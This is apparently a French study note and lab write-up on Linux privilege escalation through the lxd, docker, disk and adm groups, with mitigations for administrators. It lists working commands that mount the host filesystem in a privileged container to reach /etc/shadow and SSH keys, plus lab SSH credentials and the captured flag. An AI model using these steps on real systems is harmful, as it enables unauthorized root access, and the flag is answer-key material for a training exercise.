# Privileged Groups

L'appartenance à certains groupes système peut accorder des privilèges importants, parfois équivalents à l'accès root, si elle est mal configurée. Voici des groupes à connaître et des techniques courantes d'escalade associées.

***

### 🐳 LXC / LXD

**LXD** est le gestionnaire de conteneurs d'Ubuntu (similaire à Docker). Lors de l'installation, les utilisateurs autorisés sont souvent ajoutés au groupe `lxd`. La membership à ce groupe peut être utilisée pour escalader des privilèges en créant un conteneur privilégié et en montant le système de fichiers hôte.

#### Processus général d'exploitation (pattern)

1. Vérifier l'appartenance au groupe :

```bash
id
```

2. Préparer une image (ex: Alpine) et l'importer dans LXD :

```bash
unzip alpine.zip
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
```

3. Initialiser LXD si nécessaire :

```bash
lxd init
```

4. Créer un conteneur **privileged** (sans mapping d'UID) :

```bash
lxc init alpine r00t -c security.privileged=true
```

5. Ajouter un device pour monter le système de fichiers hôte dans le conteneur :

```bash
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
```

6. Démarrer le conteneur et obtenir un shell :

```bash
lxc start r00t
lxc exec r00t /bin/sh
```

Dans ce contexte, le root du conteneur correspond au root de l'hôte pour les chemins montés, permettant de lire ou modifier `/etc/shadow`, récupérer des clés SSH, ou ajouter un compte privilégié.

***

### 🐋 Docker

Ajouter un utilisateur au groupe `docker` équivaut pratiquement à donner un accès root au système : les membres peuvent lancer des conteneurs avec des volumes montés depuis l'hôte.

**Exemple d'abus** : monter `/root` dans un conteneur et y accéder :

```bash
docker run -v /root:/mnt -it ubuntu /bin/bash
```

Une fois dans le conteneur, il est possible de lire les clés SSH, modifier des fichiers sensibles ou créer des accès persistants.

***

### 💽 Groupe `disk`

Les utilisateurs du groupe `disk` ont accès direct aux périphériques sous `/dev` (ex: `/dev/sda1`). Cela permet d'utiliser des outils de bas niveau (`debugfs`, `fdisk`, `mount -o loop`) pour accéder au contenu des partitions et extraire des fichiers (ssh keys, `/etc/shadow`, etc.).

***

### 📄 Groupe `adm`

Les membres du groupe `adm` peuvent lire la plupart des logs système sous `/var/log`. Cela ne donne pas directement les privilèges root, mais peut fournir des informations sensibles :

* mots de passe en clair accidentels,
* tâches cron,
* commandes exécutées par d'autres utilisateurs.

Vérifier l'appartenance au groupe :

```bash
id
groups
```

***

### 🛠️ Recommandations pour l'audit

* **Lister les groupes** et leurs membres dès l'accès initial : `getent group`, `id`, `groups username`.
* **Prioriser** les comptes membres des groupes `lxd`, `docker`, `disk`, `adm` et d'autres groupes sensibles sur la machine.
* **Tester** les techniques d'escalade dans un environnement isolé avant toute action sur la cible.
* **Évaluer** les risques liés à chaque groupe : par exemple, `lxd` et `docker` permettent facilement le montage de volumes hôte depuis des conteneurs.

***

### 🛡️ Mesures d'atténuation pour les administrateurs

* **Restreindre l'appartenance aux groupes sensibles** : n'ajouter que les utilisateurs qui en ont strictement besoin.
* **Surveiller et alerter** les ajouts aux groupes à privilèges (logs d'audit, alertes SIEM).
* **Appliquer le principe du moindre privilège** et revoir périodiquement les memberships de groupe.
* **Durcir** les outils d'orchestration de conteneurs (désactiver les conteneurs privilégiés, utiliser des profils AppArmor/SELinux, limiter l'accès aux sockets de lxd/docker).
* **Isoler** les services sensibles sur des hôtes dédiés si possible.

***

### 📚 Ressources utiles

* [How to Set Up and Use LXD on Ubuntu 16.04](https://www.digitalocean.com/community/tutorials/how-to-set-up-and-use-lxd-on-ubuntu-16-04)

***

{% hint style="info" %}
&#x20;SSH to 10.129.40.22 (ACADEMY-LPE-NIX02) with user "secaudit" and password "Academy\_LLPE!"
{% endhint %}

> Use the privileged group rights of the secaudit user to locate a flag.

Dans un premier temps, nous nous connectons à notre cible en `ssh` :&#x20;

```bash
ssh secaudit@10.129.40.22
```

Une fois la connexion effective, nous observons les groupes auxquels on appartient :&#x20;

```bash
secaudit@NIX02:~$ id
uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)

secaudit@NIX02:~$ groups
secaudit adm
```

Nous observons que l'utilisateur ***secaudit*** fait partie du groupe ***adm***, groupe connu pour avoir accès à certains fichier du répertoire ***/var/log.***

Nouc nous rendons donc dans le répertoire ***/var/log*** afin d'utiliser la commande grap pour trouver le flag :&#x20;

```bash
secaudit@NIX02:~$ cd /var/log
secaudit@NIX02:/var/log$ grep -r flag
[...]
apache2/access.log:10.10.14.3 - - [01/Sep/2020:05:34:22 +0200] "GET /flag%20=%20ch3ck_th0se_gr0uP_m3mb3erSh1Ps! HTTP/1.1" 301 409 "-" "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
apache2/access.log:10.10.14.3 - - [01/Sep/2020:05:34:22 +0200] "GET /flag%20=%20ch3ck_th0se_gr0uP_m3mb3erSh1Ps HTTP/1.1" 404 27847 "-" "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
[...]
```

Nous pouvons donc relever le flag présent dans les logs de la machine attaquante :&#x20;

```
ch3ck_th0se_gr0uP_m3mb3erSh1Ps!
```

***
